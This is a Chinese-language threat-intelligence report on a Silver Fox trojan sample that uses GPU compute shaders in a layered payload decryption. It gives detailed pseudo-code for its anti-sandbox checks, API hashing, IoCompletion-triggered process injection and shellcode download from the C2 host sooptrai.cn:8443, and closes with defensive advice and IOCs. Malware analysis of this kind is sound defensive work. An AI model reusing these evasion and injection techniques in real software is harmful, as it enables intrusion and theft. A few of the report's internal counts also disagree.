概述
瑞星于2026年9月18日接到用户反馈,称设备上发现疑似银狐木马文件。经详细分析,该文件属于银狐木马,且首次使用GPU参与解密流程,标志着银狐木马在载荷保护工程化上的又一次演进
事件详情
该样本伪装成“内部违纪名单”的钓鱼文件诱导用户打开(文件名为2026年第2季度内职人员违纪名单信息.exe),单文件完成“环境校验 → 五层载荷解密 → 服务进程注入 → C2 回连 → 载荷下载”全链。其最显著特征是解密管线延伸至 GPU——载荷以自定义 HFEX 容器内嵌,经 D3D11 compute shader 霍夫曼解码(配合 GPU 渲染基准做环境门控),再经 ChaCha20 稀疏流与 LZNT1 两层处理得到最终 ShellCode,随后 ShellCode 访问C2服务器获取后续恶意载荷
攻击流程

样本分析
初始样本分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | 2026年第2季度内职人员违纪名单信息.exe |
| 文件大小 | 441,344 字节 |
| 文件MD5 | 0737E794EA4DB53EF442DBE4E0F3692B |
| 文件类型 | PEEXE |
| 病毒名 | Trojan.ShellCodeRunner/x64!1.14802 |
工作流程

反分析/反调试
程序主要使用了以下手段来进行反分析/反调试:
| 手段 | 实现位置 | 说明 |
|---|---|---|
| 运行时 AES 字符串解密(每串独立密钥) | 0x140016ED0 + 全库 200 调用点 | 密钥以 movabs 立即数内联在调用点,磁盘无明文 |
| 动态 API 解析 | 0x140016A60 等 | 静态导入表不含任何业务 API,规避导入表扫描/YARA |
| 反虚拟机 | ckbox_main_routine |
vbox/vmware/hyper-v 字符串比对 + Hyper-V/Virtualization 注册表键 |
| 沙箱内存检测 | GlobalMemoryStatusEx 调用点 |
低物理内存为常见沙箱特征 |
| 显卡环境检测 | msvc_gpu.rs(ddraw/d3d11) |
无 GPU/软件渲染环境(沙箱常见)判定 |
| 事件日志反取证侦察 | 事件日志查询模块 | 监控 1102(日志被清)与 4624 登录——既是侦察也用于感知分析环境 |
UAC runas 自提权 |
shell32!ShellExecuteExW(runas) |
非管理员时弹出 UAC,保证 SeDebugPrivilege 可用 |
其中所有的字符串均使用AES-128-ECB加密,解密时每条字符串使用独立硬编码密钥
调用约定(Win x64):
obfaessse_aes128_ecb_decrypt(rcx=out, rdx=&cipher, r8d=blocks, r9d=blocks,
[rsp+0x20]=outlen, [rsp+0x28]=key_lo_u64, [rsp+0x30]=key_hi_u64)
AES key = le64(key_lo) || le64(key_hi) ← 两个 movabs 立即数,字节序为小端
明文 = AES-128-ECB-Decrypt(key, cipher) ← 零填充,多为宽字符串(UTF-16LE)
API 动态解析 resolve_api_by_peb_hash @0x140016A60:
PEB→Ldr→InMemoryOrderModuleList遍历;模块名/导出名哈希:h = ROL32(h,19) + (c<'a'?c:c-32)- 目标哈希 =
dword_14003D130[4*slot] - dword_14003D130[4*slot+2] ^ dword_14003D130[4*slot+1](每 API 三常量组合),结果缓存qword_140050B88[slot] - 解析器控制流被编译为 13 个 8 字节操作码的 VMB 字节码状态机(0x6D=遍历加载器/0x10=导出目录/0x06=逐名哈希/0x32=取地址/0x25=下一模块/0xD1/0xCF=条件跳/0xEA=跳转)
- 全库约 60 组 API(
kernel32/ntdll/advapi32/wevtapi/shell32/psapi/user32/ddraw/d3d11)均走此通道,静态导入表仅剩 CRT 依赖。
查找注入目标
字符串全部解密完成后程序开始查找注入目标,按序执行如下操作:
- 解密服务名字符串(密文
0x14003D110,36B/2 块)—— 密钥为寄存器中转的静态常量0xBC86F973CCF9F265;明文 =Schedule(Task Scheduler服务) advapi32!OpenSCManagerW(null,null,SC_MANAGER_ENUMERATE_SERVICE=5)EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE|STATE_ALL, buf, ...)← 拿到全部服务及其宿主进程 PIDkernel32!lstrcmpiW逐条比对记录的lpServiceName与解密出的目标服务名- 命中则取
ENUM_SERVICE_STATUS_PROCESSW中ServiceStatusProcess.dwProcessId(记录偏移 +44 = 8+8+28)→ 写入状态state+48(即注入目标 PID) - 状态
state+56/+60(服务状态对)为 0 时 →user32!GetSystemMetrics(0)/(1)填充 = 屏幕宽/高(SM_CXSCREEN/SM_CYSCREEN)
此处有一个特殊的虚拟机环境检测:如果屏幕分辨率小于1365x765(即小于常见的1366x768分辨率)且程序没有管理员权限,则会将待注入进程的PID设置为1234,这将导致进程注入失败,整轮注入静默中止
if (!check_admin_and_sid() && (screen_w < 1365 || screen_h < 765)):
state+48 = 1234 // 哨兵 PID:使 NtOpenProcess 必然失败,整轮注入静默中止
解密ShellCode
目标进程PID选定后程序开始解密准备注入的ShellCode,完整解密流程如下:
磁盘 HFEX 容器(未加密霍夫曼压缩)
→ GPU shader12 霍夫曼解码 → 2758B 任务帧
→ 帧解析 [1B len=32][32B ChaCha key][4B size=2721][2721B ct]
→ CPU ChaCha20 稀疏流 XOR → 2721B LZNT1 压缩流
→ LZNT1 变体解压 → 3321B 最终 shellcode
其中 HFEX 容器是一个自定义的结构
| 偏移 | 字段名称 | 字段内容/含义 |
|---|---|---|
| +0 | magic | HFEX |
| +4 | version | 2 |
| +8 | declen | 0xAC6 = 2758(解码后大小) |
| +12 | chunk_size | 0x40(与 shader 64 线程组一致) |
| +16 | chunk_count | 44 = ceil(2758/64) |
| +20 | rsv / 模式标志 | 0(标准霍夫曼模式;bit0=1 为未压缩直通) |
| +24 | – | 1008B 有效性掩码区 |
| +1048 | – | 256B 霍夫曼码长表 值域 5..11,Kraft 和 = 1.0000(完备码) |
| +1304 | – | 44×16B chunk 表 (bitlen_i, 位流槽偏移_i, 槽大小_i, 0) |
| +2008 | – | 2952B 压缩位流 霍夫曼编码流(未加密) |
程序内一共有14个GPU Shader,包含如下功能:
- shader11:整块 u32 XOR(t0⊕u0→u0 原地写回,无边界处理)
- shader0:带尾部处理的 u32 XOR(尾块不足 4B 时按字节位宽 bfi 混合)
- shader2:条件字节计数器(u8×4 展开,与 cb0[0].y 指定字节比较,命中则
atomic_iadd累加) - shader3/8:单缓冲特征扫描器(互为变体:3 按 cb0.y 比对、8 匹配零字节,
atomic_umin记录最早命中线程号) - shader4/7:双缓冲比较扫描器(互为变体:4 严格逐字节
ine、7 允许零字节通配) - shader6:指定窗口逐字节比较器(cb0.y 窗口长度 + cb0.z 起始偏移,t0/t1 不等即 ret,全等则
atomic_umin) - shader9/10:大小写归一(9: ‘A’-‘Z’→+32,10: ‘a’-‘z’→-32,u8×4 SIMD 展开,u0 原地写回)
- shader13:描述符驱动的位级搬运(16B 描述符表 t1 提供偏移,从 t0 提取字节经
atomic_or组装到 u0) - shader5:常量填充(cb0.y 写满 cb0.x 长度)
- shader1:GPU 预热/时序基准(1024 线程 × 1000 次迭代 sincos/div/frc 浮点链,无输入依赖,结果写 u1——为 ckbox FPS 测量与反模拟检测服务)
- shader12:被调用的主解码器(ushr 跨 u32 窗口拼接、movc 分支、atomic_or 字节组装、LSB-first 位消费、按 chunk 表槽偏移寻址),位于
0x1400409F0,大小 1756B,64 线程 VLD 解码器,44 chunk 并行
配套 CPU 侧函数:
sub_140001730:DEFLATE式规范霍夫曼码表构建器(next_code[len]=(next_code[len-1]+cnt[len-1])<<1),输出 256×8B[code,len]表;sub_140001B20:码字位反转填 GPU 查找表(64K 槽,table[rev_code_16位]=symbol|len<<8)——MSB 规范码转 LSB 消费序;
在完成霍夫曼解码后,GPU 输出内容是一个特殊的任务队列帧协议结构:
sc[0] = 0x20 (32) ← pop1 帧长标志
sc[1:33] = 32B ChaCha key ← 完整 32B(无需补零)
sc[33:37] = 0x0AA1 (2721) ← pop2 密文尺寸
sc[37:2758] = 2721B 密文
随后进入ChaCha20解密(sub_1400100A0)
state[0..3] = 'expa','nd 3','2-by','te k'
state[4..11] = key = 帧1 的 32B(8 words)
state[12] = counter(首块=1,逐块+1)
state[13] = 0
state[14,15] = key word0/1(key 前 8 字节复用作 nonce)
输出处理 : 每 64B 块内 i%3==0 字节置零(v90 块内重置、v89 全局累计)
→"稀疏 keystream" → GPU shader0 u32 粒度 XOR(等价字节级)
在完成解密后,其产出的 2721B 的数据还会进行一次 LZNT1 变体解压,解码器函数位于0x1400108A1:u16 头、0xFFF 长度掩码、组内 [1B flag + LSB-first 位序 + 自适应偏移位宽 12→4 + min_len=3],解压后可得 3321B 的 ShellCode
进程注入
程序将代码注入分成两步走,先注入代码并构造参数,随后在自身的新实例中触发之前注入的代码,整体流程如下:
前置: state+48 = 目标PID(服务枚举所得);SeDebugPrivilege 已启用
步骤1 nt_open_process_0x478(pid): ntdll!NtOpenProcess(&h, 0x478, objattr(48), &pid)
0x478 = CREATE_THREAD|VM_OP|VM_READ|VM_WRITE|QUERY|DUP_HANDLE
步骤2 find_bytes_in_remote_module @0x140014840(VirtualQueryEx + ReadProcessMemory):
遍历目标进程 COMMIT 的 MEM_PRIVATE/MAPPED 区,整区读入,
在区内搜索【解密后 2758B 载荷 v547 的字节特征】(a3=v547, a4=v529=2758)
—— 即检查目标进程是否已被注入过(幂等性检查/重入标记)
步骤3A 目标已有载荷副本(找到,返回区地址 v541):
构造 56B 触发参数(memset 0×56; [56]=v541 已有副本地址)
→ iocp_handle_hunter_duplicate @0x140015740(借 IoCompletion 句柄)
→ iocp_queue_completion_trigger @0x140016390(PostQueuedCompletionStatus/
ZwSetIoCompletion 投递控制码)→ 本轮结束(不重启)
步骤3B 目标无载荷(未找到):
nt_remote_alloc_write @0x140015400:
NtAllocateVirtualMemory(h, &base, 0, 72, MEM_COMMIT|RESERVE, PAGE_READWRITE)
NtWriteVirtualMemory(h, base, v547, v529, &n) ← 布防:写入 2721B shellcode
→ VirtualAllocEx(h, 0, 72, 0x3000, 4) + WriteProcessMemory(h, remote, 72B 接力结构)
(接力结构: [0..55]=0, [56..63]=payload 远程地址, [64..71]=0)
→ GetModuleFileNameW(NULL, path, 260) + SHELLEXECUTEINFOW
(fMask=0x70:NOASYNC|NOCLOSEPROCESS|FLAG_DDEWAIT;lpFile=自身)
→ ShellExecuteExW 重启自身 → 新实例下一轮进入 3A 触发路径
→ 本实例留在 ckbox 轮询循环(成功)/ ExitProcess+BUG 断言(失败)
iocp_handle_hunter_duplicate @0x140015740:
NtAllocateVirtualMemory(-1, ..., 0x10000, RW)准备句柄表缓冲NtQuerySystemInformation(SystemHandleInformation=16, buf, size, &need)
0xC0000004(LENGTH_MISMATCH)→ 按 need 扩容重试(0x140015FC4循环)- 遍历
SYSTEM_HANDLE_TABLE_ENTRY_INFO(每项 4×u32):
entry.dwProcessId == GetProcessId(hTargetProc)→ 目标进程全部句柄 DuplicateHandle(hTarget, entry.handle, hSelf, &dup, 0, FALSE, 2=DUPLICATE_SAME_ACCESS)NtQueryObject(dup, ObjectTypeInformation=2, ...)→ 类型名lstrcmpiW(类型名, 'IoCompletion') == 0→ 命中(解密串 ct=0x14003D000, key0xB57CE65A2191ADC2)- 返回首个命中的
IoCompletion句柄
iocp_queue_completion_trigger @0x140016390:
PostQueuedCompletionStatus(hBorrowed, lpNumberOfBytesTransferred=code(a3), 0, 0)
fallback: ntdll!ZwSetIoCompletion(hBorrowed, code, 0, 0, 0)
(0x1400165B8 / 0x1400165D2 双分支)
code = pperrinfo[0] = 第二次 find_bytes 的输出(=验证读回的接力结构中偏移 56 处的地址值)
ShellCode分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 3,321 字节 |
| 文件MD5 | 7159B2E5AB3E10FC81865669B42C6265 |
| 文件类型 | x64 shellcode |
工作流程

主要函数及功能
| 函数入口 | 函数功能 | 语义 |
|---|---|---|
| 0x000 | 入口 stub | sub rsp,0x28; call 0x8a0; add rsp,0x28; ret |
| 0x010 | resolver(code) | PEB 走位 API 哈希解析器:gs:[0x60]→Ldr(+0x18)→InMemoryOrderModuleList(+0x20)→模块遍历→e_lfanew(+0x3c)→导出目录 Name/AddressOfNames/NameOrdinals/Functions;哈希 = ror13 逐字符累加(小写→大写归一,cmovl+0x20),组合值 = hash(模块导出目录Name) + hash(API名),与 code 比对 |
| 0x011c | 返回地址 gadget | mov rax,[rsp]; ret —— 供 0x404 获取自身代码地址作扫描起点 |
| 0x124 | RC4 KSA | 标准 256 字节 S 盒初始化 + 密钥调度;ctx[0x100]=i、ctx[0x101]=j 状态存 S 盒后 |
| 0x23c | RC4 PRGA(变体) | keystream = S[i] ^ S[j](交换后取异或,非标准的 S[(S[i]+S[j])&0xff]);就地加解密 |
| 0x3a0 | RC4 封装 | key="12345"(栈构造 0x01 0x02 0x03 0x04 0x05),加密下载载荷(回传通道) |
| 0x404 | 配置定位器 | 内存特征扫描器:从自身代码地址起按 0x1000 页粒度扫描进程内存,找签名 [0xfe,0xfa,?,?,?,?,?,0xff] 且签名自身 8 字节求和 == 参数(0x708=1800)的结构,返回其地址 |
| 0x508 | 下载主逻辑 | 见后文 |
| 0x8a0 | 主线程体 | 见后文 |
API 哈希表
| 哈希 | API | 哈希 | API |
|---|---|---|---|
| 0xf8b7108d | KERNEL32!LoadLibraryA | 0xe3c6daca | WININET!InternetOpenW |
| 0x9a2800af | WININET!InternetConnectW | 0x73fa8f41 | WININET!HttpOpenRequestW |
| 0xaa02d73e | WININET!HttpSendRequestW | 0x76577d47 | WININET!InternetCloseHandle |
| 0x1bbf63f7 | WININET!InternetReadFile | 0x722cb4ab | WININET!InternetSetOptionW |
| 0x8c3bfc03 | WININET!InternetQueryOptionW | 0x08590ba7 | KERNEL32!Sleep |
| 0xc9f93d32 | NTDLL!memcpy | 0xca8e9498 | KERNEL32!WaitForSingleObject |
| 0xd6d48e5a | KERNEL32!CreateThread | 0x9e5a8833 | KERNEL32!VirtualAlloc |
| 0x38d7f3f2 | NTDLL!RtlDecompressBuffer |
示例:ROR13("KERNEL32.DLL") + ROR13("LOADLIBRARYA") = 0xf8b7108d
该算法与主样本 resolve_api_by_peb_hash(ROL19+大小写归一)属于同源算法;差异仅在 ShellCode 内的组合公式为模块哈希+API 哈希求和,主样本为三常量组合。
主线程体
- 解析 API:
WaitForSingleObject/CreateThread/VirtualAlloc/memcpy/RtlDecompressBuffer rbx = 0x404(0x708)扫描定位配置结构rsi = VirtualAlloc(8B);memcpy(rsi, rbx, 8):RC4 密钥 = 签名 8 字节;len = [rbx+8] u32:密文长度RC4: KSA(ctx, rsi, 8)→PRGA(ctx, rbx+0xc, len)← 就地解密配置密文r15 = VirtualAlloc(0xa94=2708B);RtlDecompressBuffer(LZNT1, r15, 0xa94, rbx+0xc, &len):解压得配置明文;校验:解压输出长度 == 0xa94,否则终止r13 = VirtualAlloc(0xaca=2762B):构造发送缓冲
[r13+0..0x32) = 0x36 字节模板(XOR 0x3a 逐字节混淆,含 0x13009/0xa98/0x2072024 常量字段)
[r13+0x32..0x36) = 4B 随机/计数
[r13+0x36..0x36+0xa94) = 配置明文副本
RC4(key="12345")加密r13+0x36起 0xa94 字节:加密回传数据rsi = VirtualAlloc(0x400000=4MB);下载缓冲call 0x508(r15=配置, dx=[r15+0x100]端口, r8=r13=发送缓冲, [rsp+0x20]=rsi):返回下载字节数- 下载成功 → 执行下载载荷(
CreateThread)
配置结构格式(位于 ShellCode 尾部 0xb90,随本体一体注入):
| 偏移 | 内容 |
|---|---|
| +0 | 签名 8B: fe fa 9d e3 e4 d4 d9 ff(同时是 RC4 密钥) |
| +8 | u32 密文长度 = 0x15d (349) |
| +0xc | 349B RC4 密文(变体 PRGA 解密 → 349B LZNT1 压缩流 → 解压 2708B 配置明文) |
本样本中解密出的配置信息
| 偏移 | 类型 | 值 | 说明 |
|---|---|---|---|
| +0x000 | ASCII | sooptrai.cn |
C2 主机名(4 处冗余出现:+0x000/+0x10c/+0x218/+0x324,兼容不同字段偏移读取) |
| +0x100 | u16 | 8443 | C2 端口 |
| +0x430 | UTF-16 | 0917 |
活动批次标识(对应 2026-09-17 投放日) |
| +0x670 | UTF-16 | Google Chrome App Help Viewer |
疑似服务名称 |
| +0x864 | UTF-16 | C:\Program Files\Google\Chrome\Application |
侧载目标目录(Chrome 安装目录) |
| +0x92c | UTF-16 | NSecRpter.exe |
载荷落地文件名 |
| +0x990 | UTF-16 | vulkan-1.dll |
侧载 DLL 名 |
| +0x9f4 | UTF-16 | vulkan-1.bin |
侧载数据文件名 |
下载主逻辑
- 栈构造
wininet.dll→resolver(0xf8b7108d)=LoadLibraryA→ 加载wininet - 连续解析 14 个 API
InternetOpenW(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0)- 重试循环(如失败则休眠1秒后重试):
InternetConnectW(hInternet, 主机名宽字符, 端口, NULL, NULL, 3, 0, 0) HttpOpenRequestW(hConnect, "POST", "/", NULL, NULL, NULL, 0x84883000, 0)HttpSendRequestW(hRequest, "Connection: close\r\n", -1, 发送缓冲, 0xaca)InternetSetOptionW/InternetQueryOptionW(超时/选项设置)InternetReadFile循环 → 4MB 下载缓冲,返回总字节数InternetCloseHandle× 3
总结
该样本是银狐家族在载荷保护工程化上的一个代表性样本,核心特性可归纳为四点:
- 解密逻辑上 GPU:注入载荷的霍夫曼解码由 15 个内嵌
compute shader完成,CPU 侧仅生成码表与 keystream——配合shader1的浮点预热循环做 GPU 真实性基准(FPS>50门槛),无 GPU 或软件渲染异常的环境直接静默退出,这是“环境即密钥”思路的典型实现。 - 五层封装 + 全内嵌:
AES-128-ECB字符串层(195 条,密钥内联调用点)→HFEX霍夫曼容器 → 帧协议 →ChaCha20稀疏流 →LZNT1变体压缩,层层剥开后 C2 配置(RC4+LZNT1双层加密,密钥即签名 8 字节)就藏在shellcode尾部。 - 注入与规避链三层叠加:服务名匹配选定宿主 → 内存扫描确认布防 →
IOCP完成包触发(无远程线程、无RWX远程内存)→PEB走位哈希解析(无GetProcAddress)→ 分辨率门控(1366x768)与哨兵 PID 等多层反沙箱检查。 - 攻击基础设施短周期:C2 域名注册(9-15)→ 样本编译(9-17)→ 投放(9-18)仅三天间隔
预防措施
-
不打开可疑文件。
不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知与
EDR等行为检测产品。网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,
EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。 -
安装有效的杀毒软件。
杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。
瑞星目前已可检出此次攻击事件的相关样本。

-
通用安全建议:及时修补系统补丁和重要软件补丁。
及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。
沦陷信标(IOC)
-
MD5
0737E794EA4DB53EF442DBE4E0F3692B -
Domain
sooptrai.cn -
瑞星病毒名
Trojan.ShellCodeRunner/x64!1.14802